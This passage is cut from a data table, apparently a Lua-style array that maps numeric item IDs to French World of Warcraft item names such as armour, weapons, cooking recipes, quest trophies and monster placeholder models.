brun-roux",[3595]="Ceinture en étoffe rapiécée",[3596]="Brassards en étoffe rapiécés",[3597]="Ceinture en étoffe épaisse",[3598]="Brassards en étoffe épaisse",[3599]="Ceinture en étoffe légère",[3600]="Brassards en étoffe légère",[3601]="Missive du Syndicat",[3602]="Ceinture tricotée",[3603]="Brassards tricotés",[3604]="Besace des Veilleurs",[3605]="Carquois des Veilleurs",[3606]="Ceinture tissée",[3607]="Brassards tissés",[3608]="Plans : Marteau puissant en fer",[3609]="Plans : Lorica en cuivre",[3610]="Plans : Gantelets ornés en cuivre",[3611]="Plans : Bottes en fer émeraude",[3612]="Plans : Gantelets en fer émeraude",[3613]="Mains de Valdred",[3614]="Patte de Couineur",[3615]="Tête de Kurzen",[3616]="Vue de l\'esprit",[3617]="Pendentif des ombres",[3618]="Tête d\'Enfourneur",[3619]="Tabatière de Snellig",[3621]="Tête d\'Ivar",[3622]="Essence de Cinglenuit",[3623]="Tête de Thule",[3625]="Tête de Nek\'rosh",[3626]="Tête du baron Vardus",[3627]="Croc de Vagash",[3628]="Main de Dextren Ward",[3629]="Chevalière des Mantebrume",[3630]="Tête de Targorr",[3631]="Défense de Fouailleventre",[3632]="Patte de Tripecroc",[3633]="Tête de Gath\'Ilzogg",[3634]="Tête de Grimson",[3635]="Patte d\'Oeil-de-ver",[3636]="Ecaille du Vieux Troublœil",[3637]="Tête de VanCleef",[3638]="Serre de Grondecroc",[3639]="Oreille de Balgaras",[3640]="Tête de Furie-du-fond",[3641]="Brassards de compagnon",[3642]="Brassards ancestraux",[3643]="Brassards de lieur de sort",[3644]="Brassards barbares en tissu",[3645]="Crispins de voyant",[3647]="Brassards éclatants",[3649]="Targe tribale",[3650]="Bouclier de guerre",[3651]="Bouclier de vétéran",[3652]="Targe de chasse",[3653]="Targe de cérémonie",[3654]="Bouclier des eaux stagnantes",[3655]="Bouclier bruni",[3656]="Bouclier en écailles diaprées",[3657]="Registre municipal de Hautebrande",[3658]="Tome retrouvé",[3659]="Livre de cuir usé",[3660]="Tomes d\'Alterac",[3661]="Bâton artisanal",[3662]="Steak de crocilisque",[3663]="Soupe aux ailerons de murloc",[3664]="Gombo de crocilisque",[3665]="Omelette au goût étrange",[3666]="Tourte d\'araignée fondante",[3667]="Viande de crocilisque tendre",[3668]="Contrat de l\'assassin",[3669]="Bave gélatineuse",[3670]="Grand os visqueux",[3671]="Crâne pourrissant",[3672]="Tête de Nagaz",[3673]="Flèche brisée",[3674]="Botte décomposée",[3676]="Ichor visqueux",[3678]="Recette : Steak de crocilisque",[3679]="Recette : Boudin",[3680]="Recette : Soupe aux ailerons de murloc",[3681]="Recette : Gombo de crocilisque",[3682]="Recette : Omelette au goût étrange",[3683]="Recette : Tourte d\'araignée fondante",[3684]="Tiare de Perenolde",[3685]="Oeuf de raptor",[3688]="Pierre de sang ovale",[3689]="Pierre de sang marbrée",[3690]="Eclat de pierre de sang",[3691]="Cœur de pierre de sang",[3692]="Crâne d\'humain de Hautebrande",[3693]="Epée d\'Humbert",[3694]="Monster - Item, Vial Black Offhand",[3695]="Monster - Item, Vial Purple Offhand",[3696]="Monster - Item, Vial Yellow",[3697]="Monster - Item, Potion Blue Offhand",[3698]="Monster - Item, Potion Green Offhand",[3699]="Monster - Item, Potion Red",[3701]="Recommandation portant le sceau de Darthalia",[3702]="Vésicule biliaire d\'ours",[3703]="Bière brune d\'Austrivage",[3704]="Clé rouillée en fer",[3706]="Parchemin ensorcelé",[3708]="Bâtonnet d\'Helcular",[3710]="Bâtonnet d\'Helcular",[3711]="Journal de recherche de Belamoore",[3712]="Viande de tortue",[3713]="Epices apaisantes",[3714]="Rune gravée usée",[3715]="Brassards de liaison de terre",[3716]="Tête de murloc",[3717]="Sac de têtes de murlocs",[3718]="Documents d\'annonce d\'attaque",[3719]="Cape d\'homme des collines",[3720]="Fourrure de yéti",[3721]="Rapport de Farren",[3722]="Peau de quasit",[3723]="Croc de quasit",[3724]="Griffe de quasit",[3725]="Corne de quasit",[3726]="Steak de grand ours",[3727]="Côtelettes de lion épicées",[3728]="Délicieux steak de lion",[3729]="Bisque de tortue apaisante",[3730]="Viande de grand ours",[3731]="Viande de lion",[3732]="Capuche simple",[3733]="Cotte d\'anneaux de guerre orque",[3734]="Recette : Steak de grand ours",[3735]="Recette : Côtelettes de lion épicées",[3736]="Recette : Délicieux steak de lion",[3737]="Recette : Bisque de tortue apaisante",[3739]="Anneau du crâne",[3740]="Epée de décapitation",[3741]="Bottes écrasantes",[3742]="Arc de pillage",[3743]="Targe de factionnaire",[3745]="Rune d\'ouverture",[3747]="Echarpe de méditation",[3748]="Mantelet félin",[3749]="Cape de grand apothicaire",[3750]="Cuirasse côtelée",[3751]="Jambières des mercenaires",[3752]="Gilet de grunt",[3753]="Ceinturon de berger",[3754]="Gants de berger",[3755]="Eviscératrice",[3756]="Monster - Item, Bottle - Black Offhand",[3757]="Monster - Item, Bottle - Green Offhand",[3758]="Ceinture du Croisé",[3759]="Gants de sage isolés",[3760]="Bague de Fossoyeuse",[3761]="Bouclier Tête de mort",[3763]="Targe lunaire",[3764]="Bottes Mantis",[3765]="Espauliers de brigand",[3766]="Plume de griffon",[3767]="Parchemin raffiné",[3769]="Baguette brisée",[3770]="Côtelette de mouton",[3771]="Jarret de cochon sauvage",[3772]="Eau de source invoquée",[3774]="Monster - Dynamite, Unlit",[3775]="Poison affaiblissant",[3776]="Poison affaiblissant",[3777]="Poudre léthargique",[3778]="Arc composite rigide",[3779]="Hache de guerre costaude",[3780]="Mousquet à canon long",[3781]="Claymore large",[3782]="Grande massue de guerre",[3783]="Cimeterre léger",[3784]="Bâton en métal",[3785]="Hache effilée",[3786]="Miséricorde rutilante",[3787]="Massue en pierre",[3792]="Ceinture entrelacée",[3793]="Bottes entrelacées",[3794]="Brassards entrelacés",[3795]="Cape entrelacée",[3796]="Gants entrelacés",[3797]="Pantalon entrelacé",[3798]="Protège-épaules entrelacées",[3799]="Gilet entrelacé",[3800]="Ceinture en cuir durci",[3801]="Bottes en cuir durci",[3802]="Brassards en cuir durci",[3803]="Cape en cuir durci",[3804]="Gants en cuir durci",[3805]="Pantalon en cuir durci",[3806]="Protège-épaules en cuir durci",[3807]="Tunique en cuir durci",[3808]="Ceinture doublentine",[3809]="Bottes doublentines",[3810]="Brassards doublentins",[3811]="Cape à double couture",[3812]="Gants doublentins",[3813]="Pantalon doublentin",[3814]="Protège-épaules doublentins",[3815]="Haubergeon doublentin",[3816]="Ecu réfléchissant",[3817]="Targe renforcée",[3818]="Pâlerette",[3819]="Dents de dragon",[3820]="Etouffante",[3821]="Dorépine",[3822]="Sombrelame runique",[3823]="Potion d\'invisibilité inférieure",[3824]="Huile des ténèbres",[3825]="Elixir de robustesse",[3826]="Elixir de sang de troll majeur",[3827]="Potion de mana",[3828]="Elixir de détection de l\'invisibilité inférieure",[3829]="Huile glaciale",[3830]="Recette : Elixir de robustesse",[3831]="Recette : Elixir de sang de troll majeur",[3832]="Recette : Elixir de détection de l\'invisibilité inférieure",[3833]="Cape d\'adepte",[3834]="Chausses solides en toile",[3835]="Brassards en fer émeraude",[3836]="Heaume en fer émeraude",[3837]="Camail en écailles dorées",[3838]="Griffe d\'Ombregueule",[3839]="Croc de tigresse en parfait état",[3840]="Epaulières en fer émeraude",[3841]="Epaulières en écailles dorées",[3842]="Jambières en fer émeraude",[3843]="Jambières en écailles dorées",[3844]="Haubert en fer émeraude",[3845]="Thorax en écailles dorées",[3846]="Bottes en acier poli",[3847]="Bottes en écailles dorées",[3848]="Grand couteau en bronze",[3849]="Epée courte en fer trempé",[3850]="Serpentine de jade",[3851]="Maillet en fer massif",[3852]="Destructeur en fer doré",[3853]="Epée large en acier lunaire",[3854]="Tigresse glaciale",[3855]="Hache massive en fer",[3856]="Hache-croissant des ombres",[3857]="Charbon",[3858]="Minerai de mithril",[3859]="Barre d\'acier",[3860]="Barre de mithril",[3862]="Tendon d\'ancien gorille",[3863]="Plume de traqueur de la jungle",[3864]="Citrine",[3866]="Plans : Serpentine de jade",[3867]="Plans : Destructeur en fer doré",[3868]="Plans : Tigresse glaciale",[3869]="Plans : Hache-croissant des ombres",[3870]="Plans : Epaulières en fer émeraude",[3871]="Plans : Epaulières en écailles dorées",[3872]="Plans : Jambières en écailles dorées",[3873]="Plans : Thorax en écailles dorées",[3874]="Plans : Bottes en acier poli",[3875]="Plans : Bottes en écailles dorées",[3876]="Croc de Bhag\'thera",[3877]="Serre de Téthis",[3879]="Patte de Sin\'Dall",[3880]="Tête de Bangalash",[3882]="Plume de busard",[3889]="Chapeau brun-roux",[3890]="Chapeau en cuir clouté",[3891]="Casque en anneaux doublés",[3892]="Chapeau brodé",[3893]="Coiffe en cuir renforcé",[3894]="Casque brigandine",[3897]="Oeil de Dizzy",[3898]="Titre du bibliothécaire",[3899]="Légendes des Gurubashi, Volume 3",[3900]="Porto Pupellyverbos",[3901]="Défense de Scalp-rouge",[3902]="Bâton des nobles",[3904]="Tête de Gan\'zulah",[3905]="Tête de Nezzliok",[3906]="Trophée de Balia\'mah",[3907]="Trophée de Ziata\'jai",[3908]="Trophée de Zul\'Mamwe",[3909]="Armure brisée d\'Ana\'thek",[3910]="Tabac à priser",[3911]="Eclat bleu vibrant",[3912]="Gemme d\'âme",[3913]="Gemme d\'âme capturée",[3914]="Sac à dos de compagnon",[3915]="Collier d\'os sanglant",[3916]="Collier d\'os brisés",[3917]="Cristal bleu chantant",[3918]="Eclat de cristal chantant",[3919]="Abats de Valbrume",[3920]="Cartes de la Voile sanglante",[3921]="Ordres de la Voile sanglante",[3922]="Paiement du Trembleur",[3923]="Bracelets d\'élémentaire d\'eau",[3924]="Pied bot de Maury",[3925]="Longue-vue dorée de Jon-Jon",[3926]="Grand anneau de Chucky",[3927]="Cheddar affiné",[3928]="Potion de soins excellente",[3930]="Clé de Maury",[3931]="Croc d\'araignée empoisonné",[3932]="Coffre de Smotts",[3935]="Sabre d\'abordage de Smotts",[3936]="Ceinture en crochet",[3937]="Bottes en crochet",[3938]="Brassards en crochet",[3939]="Cape en crochet",[3940]="Gants en crochet",[3941]="Pantalon en crochet",[3942]="Protège-épaules en crochet",[3943]="Gilet en crochet",[3944]="Ceinture sergée",[3945]="Bottes sergées",[3946]="Brassards sergés",[3947]="Cape sergée",[3948]="Gants sergés",[3949]="Pantalon sergé",[3950]="Protège-épaules sergés",[3951]="Gilet sergé",[3960]="Sac de bracelets d\'élémentaire d\'eau",[3961]="Ceinture en cuir épais",[3962]="Bottes en cuir épais",[3963]="Brassards en cuir épais",[3964]="Cape épaisse",[3965]="Gants en cuir épais",[3966]="Pantalon en cuir épais",[3967]="Protège-épaules en cuir épais",[3968]="Tunique en cuir épais",[3969]="Ceinture en cuir lisse",[3970]="Bottes en cuir lisse",[3971]="Brassards en cuir lisse",[3972]="Cape lisse",[3973]="Gants en cuir lisse",[3974]="Pantalon en cuir lisse",[3975]="Protège-épaules en cuir lisse",[3976]="Armure en cuir lisse",[3985]="Echarpe à monogramme",[3986]="Pavois protecteur",[3987]="Grand bouclier déflecteur",[3989]="Rondache de blocage",[3990]="Targe noble",[3992]="Ceinture en écailles laminées",[3993]="Bottes en écailles laminées",[3994]="Brassards en écailles laminées",[3995]="Cape en écailles laminées",[3996]="Gants en écailles laminées",[3997]="Pantalon en écailles laminées",[3998]="Protège-épaules en écailles laminées",[3999]="Broigne laminée",[4000]="Ceinture en anneaux doubliers",[4001]="Bottes en anneaux doubliers",[4002]="Brassards en anneaux doubliers",[4003]="Cape en anneaux doubliers",[4004]="Gants en anneaux doubliers",[4005]="Pantalon en anneaux doubliers",[4006]="Protège-épaules en anneaux doubliers",[4007]="Cotte en anneaux doubliers",[4016]="Mixture de Zanzil",[4017]="Epée courte aiguisée",[4018]="Claymore affûtée",[4019]="Hache lourde en silex",[4020]="Hache d\'armes brisante",[4021]="Masse contondante",[4022]="Maillet broyeur",[4023]="Dague pointue raffinée",[4024]="Bâton de guerre lourd",[4025]="Arc long équilibré",[4026]="Mousquet de sentinelle",[4027]="Lame de Catelyn",[4028]="Fagot de roseaux akiris",[4029]="Roseau akiris",[4034]="Pierre des Marées",[4035]="Robe brochée d\'argent",[4036]="Crispins brochés d\'argent",[4037]="Pantalon broché d\'argent",[4038]="Robe nocturne",[4039]="Capuche nocturne",[4040]="Gants nocturnes",[4041]="Capuche de l\'aurore",[4042]="Gants de l\'aurore",[4043]="Brassards de l\'aurore",[4044]="Pantalon de l\'aurore",[4045]="Brassards de Longuebrume",[4046]="Pantalon de Longuebrume",[4047]="Bottes de Longuebrume",[4048]="Chapeau blasonné",[4049]="Brassards blasonnés",[4050]="Jambières blasonnées",[4051]="Bottes blasonnées",[4052]="Coiffe à insigne",[4053]="Grande peau de crocilisque des rivières",[4054]="Jambières à insigne",[4055]="Bottes à insigne",[4056]="Devinette de Cortello",[4057]="Corselet à insigne",[4058]="Cuirasse glyphée",[4059]="Brassards glyphés",[4060]="Jambières glyphés",[4061]="Brassards impériaux en cuir",[4062]="Pantalon impérial en cuir",[4063]="Gants impériaux en cuir",[4064]="Targe blasonnée",[4065]="Bouclier de combat",[4066]="Targe à insigne",[4067]="Targe glyphée",[4068]="Bouclier de général de brigade",[4069]="Targe forgenoire",[4070]="Ecu de jouteur",[4071]="Cuirasse en mailles rougeoyantes",[4072]="Gantelets en mailles rougeoyantes",[4073]="Grèves en mailles rougeoyantes",[4074]="Cotte de mailles de guerre",[4075]="Gantelets de guerre en mailles",[4076]="Bottes de guerre en mailles",[4077]="Protège-front de guerre en mailles",[4078]="Camail de général de brigade",[4079]="Jambières de général de brigade",[4080]="Camail forgenoire",[4082]="Cuirasse forgenoire",[4083]="Gantelets forgenoire",[4084]="Jambières forgenoire",[4085]="Marmite mijoteuse automatique de Krazek",[4086]="Carabine foudroyante",[4087]="Arc de précision",[4088]="Lame d\'effroi",[4089]="Tromblon ricochet",[4090]="Gueule de bois",[4091]="Mortifère",[4092]="Ecaille de basilic prismatique",[4093]="Grande queue de basilic",[4094]="Eclat de tablette",[4096]="Poil de gorille grossier",[4097]="Croc de gorille ébréché",[4098]="Une note soigneusement pliée",[4099]="Touffe de poils de gorille",[4100]="Note chiffonnée",[4101]="Note en morceaux",[4102]="Note déchirée",[4103]="Clé de chaîne",[4104]="Peau de crocilisque gueule-d\'acier",[4105]="Peau d\'ancien crocilisque",[4106]="Cristal réduit",[4107]="Gants de chasseur de tigres",[4108]="Jambières du chasseur de panthères",[4109]="Bottes Excelsior",[4110]="Arc de maître-chasseur",[4111]="Carabine de maître-chasseur",[4112]="Sautoir du grand chaman",[4113]="Couverture-médecine",[4114]="Cape de sombreflux",[4115]="Targe de Grom\'gol",[4116]="Sewar d\'Olman",[4117]="Echarpe brûlante",[4118]="Anneau de nez de Poobah",[4119]="Tunique de chasseur de raptors",[4120]="Robe des eaux cristallines",[4121]="Gants ornés",[4122]="Sceptre du comptable",[4123]="Espauliers en métal glacial",[4124]="Coiffe d\'harmonie",[4125]="Orbe de tranquillité",[4126]="Fendoir de la guérilla",[4127]="Pétoire à mitraille",[4128]="Bêche en argent",[4129]="Légendaire",[4130]="Boussole de Smotts",[4131]="Ceinture de corruption",[4132]="Brachiales sombrelance",[4133]="Crispins sombrelance",[4134]="Bâton mystique de Nimboya",[4135]="Bague d\'os sanglant",[4136]="Bottes sombrelance",[4137]="Chaussures sombrelance",[4138]="Tunique des Flots noirs",[4139]="Sandales de marcheur de la jungle",[4140]="Mantelet en feuille de palmier",[4197]="Ailettes de Berylline",[4213]="Grimoire de Malédiction",[4231]="Peau légère traitée",[4232]="Peau moyenne",[4233]="Peau moyenne traitée",[4234]="Cuir lourd",[4235]="Peau lourde",[4236]="Peau lourde traitée",[4237]="Ceinture cousue main en cuir",[4238]="Sac en lin",[4239]="Gants en cuir estampé",[4240]="Sac en laine",[4241]="Sac vert en laine",[4242]="Pantalon en cuir estampé",[4243]="Tunique raffinée en cuir",[4244]="Gilet d\'homme des collines en cuir",[4245]="Petit sac en soie",[4246]="Ceinture raffinée en cuir",[4247]="Gants d\'homme des collines en cuir",[4248]="Gants noirs en cuir",[4249]="Ceinture noire en cuir",[4250]="Ceinture d\'homme des collines",[4251]="Epaulières d\'homme des collines",[4252]="Epaulières noires en cuir",[4253]="Gants en cuir raffermi",[4254]="Gants barbares",[4255]="Armure verte en cuir",[4256]="Armure du gardien",[4257]="Ceinture verte en cuir",[4258]="Ceinture du gardien",[4259]="Brassards verts en cuir",[4260]="Brassards du gardien en cuir",[4261]="Chausses de Solliden",[4262]="Ceinture en cuir clouté de gemmes",[4263]="Bouclier standard",[4264]="Ceinture barbare",[4265]="Renfort d\'armure lourd",[4278]="Minerai de pierre de sang inférieur",[4289]="Sel",[4290]="Coupe de poussière",[4291]="Bobine de soie",[4292]="Patron : Sac vert en laine",[4293]="Patron : Gilet d\'homme des collines en cuir",[4294]="Patron : Ceinture d\'homme des collines",[4296]="Patron : Epaulières noires en cuir",[4297]="Patron : Gants barbares",[4298]="Patron : Ceinture de gardien",[4299]="Patron : Armure de gardien",[4300]="Patron : Brassards de gardien en cuir",[4301]="Patron : Ceinture barbare",[4302]="Petite dague verte",[4303]="Le Petit beigneur",[4304]="Cuir épais",[4305]="Rouleau d\'étoffe de soie",[4306]="Etoffe de soie",[4307]="Gants en lin épais",[4308]="Brassards verts en lin",[4309]="Braies cousues main en lin",[4310]="Gants en laine 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Marteau",[4649]="Note de Poigne-d\'os",[4650]="Note de Bel\'dugur",[4652]="Bouclier de Salbac",[4653]="Bottes en fer armé",[4654]="Mystérieux fossile",[4655]="Chair de palourde géante",[4656]="Petite citrouille",[4658]="Cape de guerrier",[4659]="Ceinturon de guerrier",[4660]="Bottes de marche",[4661]="Mantelet éclatant",[4662]="Cape de compagnon",[4663]="Ceinture de compagnon",[4665]="Cape brûlée",[4666]="Ceinture en cuir brûlé",[4668]="Cape de bataille en anneaux",[4669]="Ceinturon de bataille en anneaux",[4671]="Cape ancestrale",[4672]="Ceinture ancestrale",[4674]="Cape tribale",[4675]="Ceinture tribale",[4676]="Gantelets squelettiques",[4677]="Cape de vétéran",[4678]="Ceinturon de vétéran",[4680]="Cape des eaux stagnantes",[4681]="Ceinturon des eaux stagnantes",[4683]="Cape de lieur de sort",[4684]="Ceinture de lieur de sort",[4686]="Cape barbare en tissu",[4687]="Ceinture barbare en tissu",[4689]="Cape de chasse",[4690]="Ceinture de chasse",[4692]="Cape de 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d\'opale",[4845]="Pierre runique de diamant",[4846]="Rouage n°5",[4847]="Entraves de lien élémentaire de Lotwil",[4848]="Groin de sanglier de guerre",[4849]="Flanchet de sanglier de guerre",[4850]="Plans d\'attaque des Dos-hirsutes",[4851]="Carte couverte de poussière",[4852]="Bombe éclairante",[4854]="Cape griffée par les démons",[4859]="Médaillon de la Lame ardente",[4860]="Ecaille de furie scintillante",[4861]="Tunique en plumes lustrées",[4862]="Queue de scorpide ouvrier",[4863]="Outils gnomes",[4864]="Crâne de Minshina",[4865]="Peau détruite",[4866]="Tête de Zalazane",[4867]="Patte de scorpide brisée",[4869]="Griffe de Féplouf",[4870]="Morceaux de canevas",[4871]="Collier brûlant",[4872]="Oeil de scorpide sec",[4873]="Bigorneaux secs durcis",[4874]="Arêtes propres",[4875]="Os visqueux",[4876]="Bottes en cuir sanglantes",[4877]="Tête de flèche en pierre",[4878]="Arc brisé taché de sang",[4879]="Carcasse de lapin écrasé",[4880]="Lance brisée",[4881]="Vieille enveloppe",[4882]="Clé de Benedict",[4883]="Ordres de l\'amiral Portvaillant",[4886]="Glande à venin de queue-venin",[4887]="Oeil de makrura intact",[4888]="Mucus de clampant",[4890]="Oeuf de fouette-queue",[4891]="Amulette de Kron",[4892]="Fourrure de tigre de Durotar",[4893]="Canine de lion des savanes",[4894]="Rognon de trotteur des plaines",[4895]="Corne de lézard-tonnerre",[4896]="Foie de kodo",[4897]="Glande salivaire de faucon-tonnerre",[4898]="Glande d\'éclair",[4903]="Oeil de l\'ombre ardente",[4904]="Antidote du queue-venin",[4905]="Pince abîmée de Sarkoth",[4906]="Bottes de marche-pluie",[4907]="Tunique forestière",[4908]="Brassards de nomade",[4909]="Jambières du chasseur de kodo",[4910]="Gants en anneaux peints",[4911]="Targe en écorce épaisse",[4913]="Ceinture en anneaux peints",[4914]="Gants détériorés en cuir",[4915]="Bottes souples en laine",[4916]="Gilet souple en laine",[4917]="Jambières détériorées en anneaux",[4918]="Sac de ravitaillement",[4919]="Ceinture souple en laine",[4920]="Cape détériorée",[4921]="Jambières poussiéreuses",[4922]="Lorica abîmée",[4923]="Hachette primitive",[4924]="Massue primitive",[4925]="Canif primitif",[4926]="Tonneau vide de Chen",[4928]="Garde-poignets de coureur des sables",[4929]="Armure de scorpide légère",[4931]="Arc court en noyer",[4932]="Coupe-aile de harpie",[4933]="Cape de combattant aguerri",[4935]="Grand ceinturon en métal",[4936]="Bottes empoussiérées",[4937]="Targe de charge",[4938]="Bâton défectueux en bois",[4939]="Epée bâtarde solide",[4940]="Poignes voilées",[4941]="Colle très collante",[4942]="Bottes en peau de tigre",[4944]="Cape cousue à la main",[4945]="Crâne au faible rougeoiement",[4946]="Bottes de légèreté",[4947]="Dague dentelée",[4948]="Masse cinglante",[4949]="Fendoir orc",[4951]="Ceinture de Mouchard",[4952]="Brune-d\'orage",[4953]="Bière trogg",[4954]="Ceinture de nomade",[4957]="Vieille bourse",[4958]="Cape délavée",[4960]="Bille d\'éclair",[4961]="Bâton de gardien des rêves",[4962]="Gants rembourrés",[4963]="Cape de Corne-tonnerre",[4964]="Pilonneur gobelin",[4967]="Bouclier tribal",[4968]="Harnais lié",[4969]="Manchettes fortifiées",[4970]="Jambières de kodo mal tannées",[4971]="Marteau de Skorn",[4972]="Bottes de grimpeur des collines",[4973]="Garde-poignets de chasseur des plaines",[4974]="Couteau de combat compact",[4975]="Targe de vigilance",[4976]="Kilt de Saillebrume",[4977]="Epée de Trépas-d\'Orgrim",[4978]="Marteau de Ryedol",[4979]="Brassards enchantés en étoffe de pierre",[4980]="Gants de prospecteur",[4982]="Ceinture de prospecteur abîmée",[4983]="Pulvériseur de roc",[4984]="Crâne de malédiction imminente",[4986]="Pierre de puissance imparfaite",[4987]="Epée de capitaine nain",[4991]="Monster - Sword2H, Broadsword",[4992]="Lettre de recrutement",[4993]="Monster - Item, Skull",[4994]="Monster - Item, Gizmo",[4995]="Lettre de recrutement signée",[4998]="Anneau de sang",[4999]="Volonté d\'Azora",[5001]="Anneau du cœur",[5002]="Talisman vert luminescent",[5003]="Médaillon de l\'étoile de cristal",[5005]="Pendentif braisétincelle",[5006]="Journal de Khazgorm",[5007]="Bague d\'épines",[5009]="Jonc d\'influence mentale",[5011]="Anneau de Welken",[5012]="Spores fongiques",[5016]="Chausses d\'artisan",[5017]="Nitroglycérine",[5018]="Pulpe de bois",[5019]="Nitrate de sodium",[5020]="Clé du butin des Kolkar",[5021]="Bâton explosif de Gann",[5022]="Tête de Plaie-des-kodos",[5023]="Tête de Verog",[5025]="Tête d\'Hezrul",[5026]="Goudron de feu",[5027]="Spores fondues",[5028]="Sceptre du seigneur Sakrasis",[5029]="Talisman du seigneur naga",[5030]="Bracelets de centaure",[5038]="Larme des lunes",[5040]="Couteau de chasseur des ombres",[5042]="Papier d\'emballage à ruban rouge",[5043]="Cadeau au ruban rouge",[5044]="Cadeau au ruban bleu",[5048]="Papier d\'emballage à ruban bleu",[5050]="Clé de contact",[5051]="Rat fouisseur",[5052]="Rat fouisseur inconscient",[5054]="Samophlange",[5055]="Corne de raptor intacte",[5056]="Echantillon de racines",[5057]="Pastèque mûre",[5058]="Oeuf de silithide",[5059]="Griffe d\'excavation",[5060]="Outils de voleur",[5061]="Argent volé",[5062]="Tête de raptor",[5063]="Défense de Kreenig Grondegroin",[5064]="Griffe d\'Ensorçaile",[5065]="Anneau de lieutenant harpie",[5066]="Plante des crevasses",[5067]="Tête de Serena",[5068]="Graines séchées",[5069]="Baguette de feu",[5071]="Baguette d\'ombre",[5072]="Crâne de Lok",[5073]="Crâne de Nak",[5074]="Crâne de Kuz",[5075]="Joyau de sang",[5076]="Cargaison de bottes",[5077]="Lentille du télescope",[5078]="Médaille de Theramore",[5079]="Oeil de basilic Oeil-de-glace",[5080]="Livre de comptes de Gazleu",[5081]="Sac en cuir de kodo",[5082]="Cuir fin de kodo",[5083]="Patron : Sac en cuir de kodo",[5084]="Tête du cap\'taine Garvey",[5085]="Défense de huran",[5086]="Sabots de zhévra",[5087]="Bec de trotteur des plaines",[5088]="Manuel de la console de contrôle",[5089]="Clé de la console",[5092]="Baguette tranchecrin carbonisée",[5093]="Eustache tranchecrin",[5094]="Bouclier tranchecrin",[5095]="Thon arc-en-ciel",[5096]="Griffes de chasseresse",[5097]="Emeraude œil-de-chat",[5098]="Carapace de Gueule d\'acier altérée",[5099]="Sabot de Lakota\'mani",[5100]="Peau d\'Echeyakee",[5101]="Croc d\'Ishamuhale",[5102]="Epine caudale d\'Owatanka",[5103]="Plume de Washte Pawne",[5104]="Cœur d\'Isha Awak",[5105]="Obus explosif",[5107]="Chemise de matelot",[5109]="Haillons brisepierre",[5110]="Robe de sorcier de Dalaran",[5111]="Cape de Rathorian",[5112]="Lame rituelle",[5113]="Marque du Syndicat",[5114]="Griffe abîmée",[5115]="Os brisé",[5116]="Longue plume de queue",[5117]="Plume vibrante",[5118]="Grande dent plate",[5119]="Fin cheveu flottant",[5120]="Long poil de queue",[5121]="Ecaille de kodo sale",[5122]="Epais poil de kodo",[5123]="Tête de flèche en acier",[5124]="Petite dent de raptor",[5125]="Ecaille chargée",[5128]="Peau de lézard dépouillée",[5133]="Gésier suintant",[5134]="Petite patte en fourrure",[5135]="Fine griffe noire",[5136]="Oreille de fourrure déchirée",[5137]="Globe oculaire brillant",[5138]="Tête du moissonneur",[5140]="Poudre éclipsante",[5143]="Sang de lézard-tonnerre",[5164]="Ailes de faucon-tonnerre",[5165]="Plume solécaille",[5166]="Glande à venin Tissebois",[5167]="Oeuf d\'araignée Tissebois",[5168]="Graine de sylvain",[5169]="Pousse de sylvain",[5170]="Tumeur moussue",[5173]="Herbe mortelle",[5175]="Totem de terre",[5176]="Totem de feu",[5177]="Totem d\'eau",[5178]="Totem d\'air",[5179]="Cœur moussu",[5180]="Collier d\'harmonie",[5181]="Cape en soie frissonnante",[5182]="Lame du frisson",[5183]="Cœur d\'hydre palpitant",[5184]="Flasque de cristal remplie",[5185]="Flasque de cristal",[5186]="Récipient à moitié rempli",[5187]="Déchireuse d\'ennemi",[5188]="Récipient rempli",[5189]="Fruit luminescent",[5190]="Racines chatoyantes",[5191]="Barbelure cruelle",[5192]="Lame de voleur",[5193]="Cape de la confrérie",[5194]="Hache de sous-chef",[5195]="Gants tachetés d\'or",[5196]="Déchireuse de Châtiment",[5197]="Attendrisseur de Macaron",[5198]="Touillette de Macaron",[5199]="Pantalon de fusion",[5200]="Harpon de perforation",[5201]="Bâton pierrebraise",[5202]="Casaque de corsaire",[5203]="Griffe de Rôdeur des basses plaines",[5204]="Ceinture plumesang",[5205]="Racine éclose",[5206]="Racines de tourbelin",[5207]="Baguette opaque",[5208]="Baguette fumante",[5209]="Baguette d\'obscurité",[5210]="Baguette ardente",[5211]="Baguette de la pénombre",[5212]="Baguette flamboyante",[5213]="Baguette de brûlure",[5214]="Baguette du brunant",[5215]="Baguette de braise",[5216]="Baguette umbrale",[5217]="Cœur corrompu",[5218]="Cœur de sylvain purifié",[5219]="Ecorce gravée",[5220]="Croc de Pin-tordu",[5221]="Tête de Melenas",[5229]="Brassards cousus main en cuir",[5232]="Pierre d\'âme",[5233]="Pierre de Relu",[5234]="Fossile d\'Outrepanse",[5236]="Baguette de combustible",[5237]="Poison de distraction mentale",[5238]="Baguette en bois résineux",[5239]="Baguette ossenoir",[5240]="Baguette torche-vive",[5241]="Badine à flammes naine",[5242]="Baguette de cendres",[5243]="Crache-feu",[5244]="Baguette consacrée",[5245]="Baguette d\'invocateur",[5246]="Bâtonnet d\'excavation",[5247]="Bâtonnet de désolation",[5248]="Baguette éclairante",[5249]="Esquille ardente",[5250]="Baguette carbonisée",[5251]="Flasque de divination",[5252]="Baguette de putréfaction",[5253]="Boute-feu gobelin",[5254]="Spallières robustes",[5256]="Hochet de Kovork",[5257]="Pèlerine sombre",[5258]="Monster - Bow, Black",[5259]="Monster - Flaming Arrows",[5260]="Monster - Bow, Brown",[5261]="Monster - Bow, Gray",[5262]="Monster - Bow, Dark Brown",[5263]="Compresse de poche",[5266]="Oeil d\'Adaegus",[5267]="Kriss écarlate",[5268]="Cuirasse de silithide craquelée",[5269]="Ichor de silithide",[5270]="Amanite phalloïde",[5271]="Pédoncule d\'amanite",[5272]="Gribouillages déments",[5273]="Relique de Mathystra",[5274]="Mantelet rose",[5275]="Ceinturon de lien",[5276]="Monster - Staff, 3 Piece Taped Staff",[5277]="Monster - Staff, Metal /w Spike Crystal",[5278]="Monster - Dagger, Bowie Knife",[5279]="Dépeceuse de harpie",[5280]="Monster - Dagger, Gold Blade",[5281]="Monster - Dagger, Broad/Flat Blade",[5284]="Monster - Dagger, Jeweled Hilt",[5285]="Monster - Dagger, Curvey Blue Hilt",[5286]="Monster - Axe, One-Handed Double Axe",[5287]="Monster - Axe, 2H Large Double Bladed",[5288]="Monster - Axe, 2H Rev. Bearded Single Bladed",[5289]="Monster - Axe, 2H Single Bladed /w Pick",[5291]="Monster - Mace, Jeweled Club",[5292]="Monster - Mace2H, Basic Wooden Hammer",[5293]="Monster - Mace2H, Wood Handle Spiked Head",[5299]="Gants de la lune",[5300]="Monster - Mace2H, Wood Handle Large Spiked Head",[5301]="Monster - Mace2H, Huge Wooden Maul",[5302]="Targe en cobalt",[5303]="Monster - Staff, 